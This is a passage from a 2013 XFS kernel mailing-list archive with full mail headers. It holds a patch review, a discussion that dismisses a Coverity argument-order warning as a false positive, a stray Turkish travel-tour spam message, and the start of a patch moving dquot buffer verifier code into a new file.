1VHPjE-0000Dc-4Y; Thu, 05 Sep 2013 12:55:28 +1000 Date: Thu, 5 Sep 2013 12:55:28 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 11/11] xfs: add finobt support to growfs Message-ID: <20130905025528.GY23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 11/11] xfs: add finobt support to growfs References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-12-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378232708-57156-12-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378349755 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140353 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 02:25:08PM -0400, Brian Foster wrote: > Add finobt support to growfs. Initialize the agi root/level fields > and the root finobt block. Looks OK. Reviewed-by: Dave Chinner growfs is crying out for a table driven initialisation loop, though... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 4 22:11:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2B6297F5E for ; Wed, 4 Sep 2013 22:11:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0B02F8F8040 for ; Wed, 4 Sep 2013 20:11:37 -0700 (PDT) X-ASG-Debug-ID: 1378350696-04bdf02f22d8c550001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id GQlPKBEDpq8aJD2n for ; Wed, 04 Sep 2013 20:11:36 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtEUABH2J1J5LJ62/2dsb2JhbABbgweDRblNhBGBKYEpF3SCJAEBBAEnExwjBQsIAxgJJQ8FJQMhE4d8BbpDFo9KB4QdA5Qbg1mKMBCHJ4FjgU8q Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 12:41:32 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHPyi-0000GE-VR; Thu, 05 Sep 2013 13:11:28 +1000 Date: Thu, 5 Sep 2013 13:11:28 +1000 From: Dave Chinner To: Dave Jones Cc: xfs@oss.sgi.com Subject: Re: potential argument order bug in fs/xfs/xfs_dir2_node.c:xfs_dir2_leafn_unbalance Message-ID: <20130905031128.GZ23571@dastard> X-ASG-Orig-Subj: Re: potential argument order bug in fs/xfs/xfs_dir2_node.c:xfs_dir2_leafn_unbalance References: <20130905023818.GA10694@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130905023818.GA10694@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378350696 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140353 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 04, 2013 at 10:38:18PM -0400, Dave Jones wrote: > I'm picking through some of the bugs in coverity's database, > and I came across this one, which I'm unsure of.. > > In xfs_dir2_leafn_unbalance we have this code.. > > 1583 if (xfs_dir2_leafn_order(save_blk->bp, drop_blk->bp)) > 1584 xfs_dir3_leafn_moveents(args, drop_blk->bp, &drophdr, dents, 0, > 1585 save_blk->bp, &savehdr, sents, 0, > 1586 drophdr.count); > 1587 else > 1588 xfs_dir3_leafn_moveents(args, drop_blk->bp, &drophdr, dents, 0, > 1589 save_blk->bp, &savehdr, sents, > 1590 savehdr.count, drophdr.count); > > The issue that coverity picked up in both cases, is that 'sents' and 'dents' are in > a different order to how the xfs_dir3_leafn_moveents function expects them. What does "order" mean to coverity? Is it really complaining about function parameters being ordered (src, dst) rather than (dst, src)? Or is it detecting that we are passing parameters names (dxxx, sxxx) into a function that declares those parameters (syyy, dyyy) and it throws based on that? In more detail, the function prototype is effectively xfs_dir3_leafn_moveents(source, destination, count), and so in both cases here objects are being moved from the block being dropped (freed) to the block being saved (merged block). What the xfs_dir2_leafn_order() call tells us is whether the objects in the drop block get inserted into the save block before or after the objects in the save block. i.e. if we are merging from the left or right sibling.... So I don't see that there's a problem here. > Is this intentional ? If so I'll mark it as such in their db. The code looks fine to me... Cheers, Dave. -- Dave Chinner david@fromorbit.com From davej@redhat.com Wed Sep 4 22:25:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 419847F5F for ; Wed, 4 Sep 2013 22:25:06 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 198808F8039 for ; Wed, 4 Sep 2013 20:25:06 -0700 (PDT) X-ASG-Debug-ID: 1378351504-04cbb02c3ad55190001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id sboc3tUIQaHTfsgA for ; Wed, 04 Sep 2013 20:25:05 -0700 (PDT) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r853P15b021199 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 4 Sep 2013 23:25:02 -0400 Received: from gelk.kernelslacker.org (ovpn-113-166.phx2.redhat.com [10.3.113.166]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r853OuEi021577 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 4 Sep 2013 23:25:01 -0400 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.7) with ESMTP id r853Ot64014332; Wed, 4 Sep 2013 23:24:55 -0400 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id r853Osrj014331; Wed, 4 Sep 2013 23:24:54 -0400 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Wed, 4 Sep 2013 23:24:54 -0400 From: Dave Jones To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: potential argument order bug in fs/xfs/xfs_dir2_node.c:xfs_dir2_leafn_unbalance Message-ID: <20130905032454.GA13451@redhat.com> X-ASG-Orig-Subj: Re: potential argument order bug in fs/xfs/xfs_dir2_node.c:xfs_dir2_leafn_unbalance References: <20130905023818.GA10694@redhat.com> <20130905031128.GZ23571@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130905031128.GZ23571@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378351504 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Sep 05, 2013 at 01:11:28PM +1000, Dave Chinner wrote: > On Wed, Sep 04, 2013 at 10:38:18PM -0400, Dave Jones wrote: > > I'm picking through some of the bugs in coverity's database, > > and I came across this one, which I'm unsure of.. > > > > In xfs_dir2_leafn_unbalance we have this code.. > > > > 1583 if (xfs_dir2_leafn_order(save_blk->bp, drop_blk->bp)) > > 1584 xfs_dir3_leafn_moveents(args, drop_blk->bp, &drophdr, dents, 0, > > 1585 save_blk->bp, &savehdr, sents, 0, > > 1586 drophdr.count); > > 1587 else > > 1588 xfs_dir3_leafn_moveents(args, drop_blk->bp, &drophdr, dents, 0, > > 1589 save_blk->bp, &savehdr, sents, > > 1590 savehdr.count, drophdr.count); > > > > The issue that coverity picked up in both cases, is that 'sents' and 'dents' are in > > a different order to how the xfs_dir3_leafn_moveents function expects them. > > What does "order" mean to coverity? Is it really complaining about > function parameters being ordered (src, dst) rather than (dst, src)? > Or is it detecting that we are passing parameters names (dxxx, sxxx) > into a function that declares those parameters (syyy, dyyy) and it > throws based on that? Yeah, the latter. It's done it to quite a few parts of the kernel. In most cases I've looked through so far, it's not a problem, but there have been 1-2 real bugs. > In more detail, the function prototype is effectively > xfs_dir3_leafn_moveents(source, destination, count), and so in both > cases here objects are being moved from the block being dropped > (freed) to the block being saved (merged block). Ok, thanks for looking it over anyway. I've marked it as being intentional in their db, so it shouldn't show up in future. Dave From info@cempolatoglu.com Thu Sep 5 00:41:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.1 required=5.0 tests=FROM_12LTRDOM, HK_RANDOM_REPLYTO,HTML_MESSAGE,MIME_QP_LONG_LINE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5DE497F52 for ; Thu, 5 Sep 2013 00:41:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 49CC1304067 for ; Wed, 4 Sep 2013 22:41:34 -0700 (PDT) X-ASG-Debug-ID: 1378359686-04cb6c2e9cd65c10001-w1Z2WR Received: from server.centayazilim.com (77-223-129-244.netdirekt.com.tr [77.223.129.244]) by cuda.sgi.com with ESMTP id 7YDbgOyHRY8Kzjrt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 04 Sep 2013 22:41:29 -0700 (PDT) X-Barracuda-Envelope-From: info@cempolatoglu.com X-Barracuda-Apparent-Source-IP: 77.223.129.244 Received: from [78.180.73.213] (helo=baracuda-2cda14.local) by server.centayazilim.com with esmtpa (Exim 4.80) (envelope-from ) id 1VHSNZ-00012Y-G1 for linux-xfs@oss.sgi.com; Thu, 05 Sep 2013 08:45:20 +0300 Reply-To: brcdmail@gmail.com Message-ID: From: "TUR ANDiAMO" To: Subject: BiLET SiZDEN TUR BiZDEN 199e 6 GUN BANGKOK - PATTAYA Date: Thu, 5 Sep 2013 08:41:22 +0300 X-ASG-Orig-Subj: BiLET SiZDEN TUR BiZDEN 199e 6 GUN BANGKOK - PATTAYA MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=SPLITOR00A_001_410780546D" X-Barracuda-Connect: 77-223-129-244.netdirekt.com.tr[77.223.129.244] X-Barracuda-Start-Time: 1378359688 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.42 X-Barracuda-Spam-Status: No, SCORE=1.42 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140355 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This is a multi-part message in MIME format. ------=SPLITOR00A_001_410780546D Content-Type: text/plain; charset="iso-8859-9" Content-Transfer-Encoding: quoted-printable Untitled 1 =09 =09 =09 =09 en iyi fiyat garantisi ile...=A0=A0=A0 balay=FD = dan=FD=FEman=FDn=FDz...=20 =09 =09 =09 =09 =09 =09 =20 =09 =09 =09 =09 =09 =09 BiLET SiZDEN TUR=20 BiZDEN -=20 199e itibaren..=2E =09 =09 =09 Tel: 0212 212=20 3030 =20 (pbx) -=20 0530 317 4757 -=20 0541 214 6136 =09 =20 =09 =09 =09 =09 BiLETiNi =20 AL DA =20 GEL ...! =20 =09 =09 =09 =09 5 Gece 6 G=FCn=20 Konaklama, Sabah=20 kahvaltilari,=20 Havaalani=20 transferleri,=20 Panoramik sehir=20 turlari, T=FCrkce=20 ve/veya=20 ingilizce =20 Rehberlik=20 hizmetleri,=20 Sigorta,=20 Sehirler arasi=20 transferler dahildir.=20 =09 =09 =09 =09 =09 =09 HERGUN HAREKETLi UZAKDOGU TURLARI..=2E =20 =09 =09 TUR=20 Pansiyon=20 HERGUN hareket=20 itibaren=20 =09 =09 BANGKOK - TURKCE REHBERLiK (T.R)=20 O.K=20 6 G=FCn=20 199 Euro=20 =09 =09 PATTAYA - TURKCE REHBERLiK (T.R)=20 O.K=20 6 G=FCn=20 199 Euro=20 =09 =09 BANGKOK & PATTAYA (TURKCE R)=20 O.K=20 6 G=FCn=20 199 Euro=20 =09 =09 PHUKET (TURKCE ve iNG.REHBERLiK)=20 O.K=20 6 G=FCn=20 339 Euro=20 =09 =09 SiNGAPUR =20 O.K=20 6 G=FCn=20 449 Euro=20 =09 =09 BANGKOK & PHUKET (TURK. VE iNG. R)=20 O.K=20 6 G=FCn=20 349 Euro=20 =09 =09 KOH SAMUi=20 O.K=20 6 G=FCn=20 439 Euro=20 =09 =09 HONG KONG=20 O.K.=20 6 G=FCn=20 485 Euro=20 =09 =09 BANGKOK & KOH SAMUi (T.R.ve iNG.)=20 O.K=20 6 G=FCn=20 469 Euro=20 =09 =09 KRABi=20 O.K=20 6 G=FCn=20 489 Euro=20 =09 =09 PHi PHi =20 O.K=20 6 G=FCn=20 589 Euro=20 =09 =09 BANGKOK&PATTAYA&SiNGAPUR (TR.iNG)=20 O.K=20 7 G=FCn=20 479 Euro=20 =09 =09 LANGKAWi=20 O.K=20 6 G=FCn=20 349 Euro=20 =09 =09 BANGKOK&PHUKET&SiNGAPUR(TR.iNG)=20 O.K=20 7 G=FCn=20 499 Euro=20 =09 =09 BALi (TURKCE REHBERLiK)=20 O.K.=20 6 G=FCn=20 499 Euro=20 =09 =09 MALDiVLER=20 Y.P=20 6 G=FCn=20 699 Euro=20 =09 =09 GOA (HiNDiSTAN)=20 O.K=20 6 G=FCn=20 699 Euro=20 =09 =09 SEYSELLER=20 O.K=20 6 G=FCn=20 799 Euro=20 =09 =09 MAURiTiUS=20 O.K=20 6 G=FCn=20 599 Euro=20 =09 =09 SRi LANKA=20 O.K=20 6 G=FCn=20 649 Euro=20 =09 =09 MADAKASKAR=20 O.K=20 5 G=FCn=20 699 Euro=20 =09 =09 BORA BORA=20 O.K=20 6 G=FCn=20 999 Euro=20 =09 =09 =09 EN EKONOMiK KIBRIS OTELLERi =20 =09 =09 =09 101 =FClke 1100 destinasyon icin www. a = ndiamo.com. tr=20 19 May=FDs Caddesi 33-A-1 S=DDSL=DD - iSTANBUL = (Kalp Vakfi Karsisi) =20 =09 =09 =09 VYukarida=20 verilmis olan=20 paket fiyatlar=20 en dusuk ekonomi=20 s=FDn=FDf=FD u=E7ak=20 bileti ucreti ve=20 standart oda=20 fiyati uzerinden=20 hesaplanm=FDst=FDr.=20 Rezervasyon=20 talebine=20 takiben,=20 havayollari ve=20 otellerin=20 mu8saitligine=20 g=F6re, secilen=20 tarihe ve kisi=20 sayisina uygun=20 olarak fiyat=20 farkliliklari=20 olabilir bu=20 farklar pakete=20 yansitilacakt=FDr.=2E ------=SPLITOR00A_001_410780546D Content-Type: text/html; charset="iso-8859-9" Content-Transfer-Encoding: quoted-printable Untitled 1
en iyi fiyat garantisi = ile...=A0=A0=A0 balay=FD = dan=FD=FEman=FDn=FDz...
3D"" 

BiLET SiZDEN TUR=20 BiZDEN -=20 199e itibaren...
Tel: 0212 212=20 3030 =20 (pbx) -=20 0530 317 4757 -=20 0541 214 6136

 BiLETiNi =20 AL  DA =20 GEL ...!

5 Gece 6 G=FCn=20 Konaklama, Sabah=20 kahvaltilari,=20 Havaalani=20 transferleri,=20 Panoramik sehir=20 turlari, T=FCrkce=20 ve/veya=20 ingilizce =20 Rehberlik=20 hizmetleri,=20 Sigorta,=20 Sehirler arasi=20 transferler dahildir.

HERGUN HAREKETLi  UZAKDOGU = TURLARI...

TUR Pansiyon HERGUN hareket itibaren
BANGKOK - = TURKCE REHBERLiK (T.R) O.K 6 G=FCn 199 Euro
PATTAYA  - TURKCE REHBERLiK = (T.R) O.K 6 = G=FCn 199 Euro
BANGKOK & PATTAYA  (TURKCE R) O.K 6 G=FCn 199 Euro
PHUKET (TURKCE ve = iNG.REHBERLiK) O.K 6 G=FCn 339 Euro
SiNGAPUR  O.K 6 G=FCn 449 Euro
BANGKOK & PHUKET (TURK. VE iNG. = R) O.K 6 G=FCn 349 Euro
KOH SAMUi O.K  6 G=FCn 439 Euro
HONG KONG O.K. 6 G=FCn 485 Euro
BANGKOK & KOH SAMUi (T.R.ve iNG.) O.K 6 G=FCn 469 Euro
KRABi O.K 6 G=FCn 489 Euro
PHi = PHi  O.K 6 G=FCn 589 Euro
BANGKOK&PATTAYA&SiNGAPUR (TR.iNG) O.K 7 G=FCn 479 Euro
LANGKAWi O.K 6 G=FCn 349 Euro
BANGKOK&PHUKET&SiNGAPUR(TR.iNG) O.K 7 G=FCn 499 Euro
BALi   (TURKCE = REHBERLiK) O.K. 6 G=FCn 499 Euro
MALDiVLER Y.P 6 G=FCn 699 Euro
GOA (HiNDiSTAN) O.K  6 G=FCn 699 Euro
SEYSELLER O.K 6 G=FCn 799 Euro
MAURiTiUS O.K 6 G=FCn 599 Euro
SRi LANKA O.K 6 G=FCn 649 Euro
MADAKASKAR O.K 5 G=FCn 699 Euro
BORA BORA O.K 6 G=FCn 999 Euro

EN EKONOMiK KIBRIS  = OTELLERi

101 =FClke 1100 destinasyon = icin      www. a ndiamo.com.  tr 
19 May=FDs Caddesi 33-A-1 S=DDSL=DD - iSTANBUL (Kalp Vakfi = Karsisi)

VYukarida=20 verilmis olan=20 paket fiyatlar=20 en dusuk ekonomi=20 s=FDn=FDf=FD u=E7ak=20 bileti ucreti ve=20 standart oda=20 fiyati uzerinden=20 hesaplanm=FDst=FDr.=20 Rezervasyon=20 talebine=20 takiben,=20 havayollari ve=20 otellerin=20 mu8saitligine=20 g=F6re, secilen=20 tarihe ve kisi=20 sayisina uygun=20 olarak fiyat=20 farkliliklari=20 olabilir bu=20 farklar pakete=20 yansitilacakt=FDr..

------=SPLITOR00A_001_410780546D-- From dave@fromorbit.com Thu Sep 5 06:53:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 997857F52 for ; Thu, 5 Sep 2013 06:53:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 25F90AC005 for ; Thu, 5 Sep 2013 04:53:43 -0700 (PDT) X-ASG-Debug-ID: 1378382021-04cb6c153dd6c290001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id gMkZpX9VH1pMPJuK for ; Thu, 05 Sep 2013 04:53:42 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AncIALlvKFJ5LJ62/2dsb2JhbABbgweuVJUgF3SDATuBAgOINZlIoQaPfYQHA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:23:40 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHY81-0001DA-Ab for xfs@oss.sgi.com; Thu, 05 Sep 2013 21:53:37 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHY81-0004BD-9Q for xfs@oss.sgi.com; Thu, 05 Sep 2013 21:53:37 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/3] xfs: more code movement for userspace Date: Thu, 5 Sep 2013 21:53:32 +1000 X-ASG-Orig-Subj: [PATCH 0/3] xfs: more code movement for userspace Message-Id: <1378382015-16026-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378382021 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The following three patches move code around to help with userspace support and maintainance. The first patch is done because xfs_db requires access to all the verifiers that libxfs uses, so exporting them with eh disk formats they verify makes sense. The second patch unifies all the directory and attribute on-disk format definitions in a single file - xfs_da_format.h - and switches all the code to include that. The last patch is required for xfs_db to support reading, verifying and recalculating CRCs via libxfs, similar to what xfs_inode_buf.c supplies the userspace tools. Cheers, Dave. From dave@fromorbit.com Thu Sep 5 06:53:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4405F7F59 for ; Thu, 5 Sep 2013 06:53:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3003B8F8033 for ; Thu, 5 Sep 2013 04:53:47 -0700 (PDT) X-ASG-Debug-ID: 1378382021-04cb6c153dd6c290002-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id X8bWtA0sWM5iNbR7 for ; Thu, 05 Sep 2013 04:53:43 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIALlvKFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJAEBBScvMwgYMTkDGxmIAbpOjhUUhVsDqVuDMiqBLAEf Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:23:40 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHY81-0001DD-Cn for xfs@oss.sgi.com; Thu, 05 Sep 2013 21:53:37 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHY81-0004BQ-Bo for xfs@oss.sgi.com; Thu, 05 Sep 2013 21:53:37 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/3] xfs: split dquot buffer operations out Date: Thu, 5 Sep 2013 21:53:35 +1000 X-ASG-Orig-Subj: [PATCH 3/3] xfs: split dquot buffer operations out Message-Id: <1378382015-16026-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378382015-16026-1-git-send-email-david@fromorbit.com> References: <1378382015-16026-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378382023 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Parts of userspace want to be able to read and modify dquot buffers (e.g. xfs_db) so we need to split out the reading and writing of these buffers so it is easy to shared code with libxfs in userspace. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 + fs/xfs/xfs_dquot.c | 117 +------------------ fs/xfs/xfs_dquot_buf.c | 288 +++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_log_recover.c | 133 +--------------------- fs/xfs/xfs_qm.c | 20 +--- fs/xfs/xfs_qm.h | 2 +- fs/xfs/xfs_quota.h | 2 +- 7 files changed, 300 insertions(+), 263 deletions(-) create mode 100644 fs/xfs/xfs_dquot_buf.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 0719e4d..08f11bb 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -72,6 +72,7 @@ xfs-y += xfs_alloc.o \ xfs_dir2_leaf.o \ xfs_dir2_node.o \ xfs_dir2_sf.o \ + xfs_dquot_buf.o \ xfs_ialloc.o \ xfs_ialloc_btree.o \ xfs_icreate_item.o \ diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 251c666..48694ad 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -291,118 +291,6 @@ xfs_dquot_set_prealloc_limits(struct xfs_dquot *dqp) dqp->q_low_space[XFS_QLOWSP_5_PCNT] = space * 5; } -STATIC bool -xfs_dquot_buf_verify_crc( - struct xfs_mount *mp, - struct xfs_buf *bp) -{ - struct xfs_dqblk *d = (struct xfs_dqblk *)bp->b_addr; - int ndquots; - int i; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return true; - - /* - * if we are in log recovery, the quota subsystem has not been - * initialised so we have no quotainfo structure. In that case, we need - * to manually calculate the number of dquots in the buffer. - */ - if (mp->m_quotainfo) - ndquots = mp->m_quotainfo->qi_dqperchunk; - else - ndquots = xfs_qm_calc_dquots_per_chunk(mp, - XFS_BB_TO_FSB(mp, bp->b_length)); - - for (i = 0; i < ndquots; i++, d++) { - if (!xfs_verify_cksum((char *)d, sizeof(struct xfs_dqblk), - XFS_DQUOT_CRC_OFF)) - return false; - if (!uuid_equal(&d->dd_uuid, &mp->m_sb.sb_uuid)) - return false; - } - return true; -} - -STATIC bool -xfs_dquot_buf_verify( - struct xfs_mount *mp, - struct xfs_buf *bp) -{ - struct xfs_dqblk *d = (struct xfs_dqblk *)bp->b_addr; - xfs_dqid_t id = 0; - int ndquots; - int i; - - /* - * if we are in log recovery, the quota subsystem has not been - * initialised so we have no quotainfo structure. In that case, we need - * to manually calculate the number of dquots in the buffer. - */ - if (mp->m_quotainfo) - ndquots = mp->m_quotainfo->qi_dqperchunk; - else - ndquots = xfs_qm_calc_dquots_per_chunk(mp, bp->b_length); - - /* - * On the first read of the buffer, verify that each dquot is valid. - * We don't know what the id of the dquot is supposed to be, just that - * 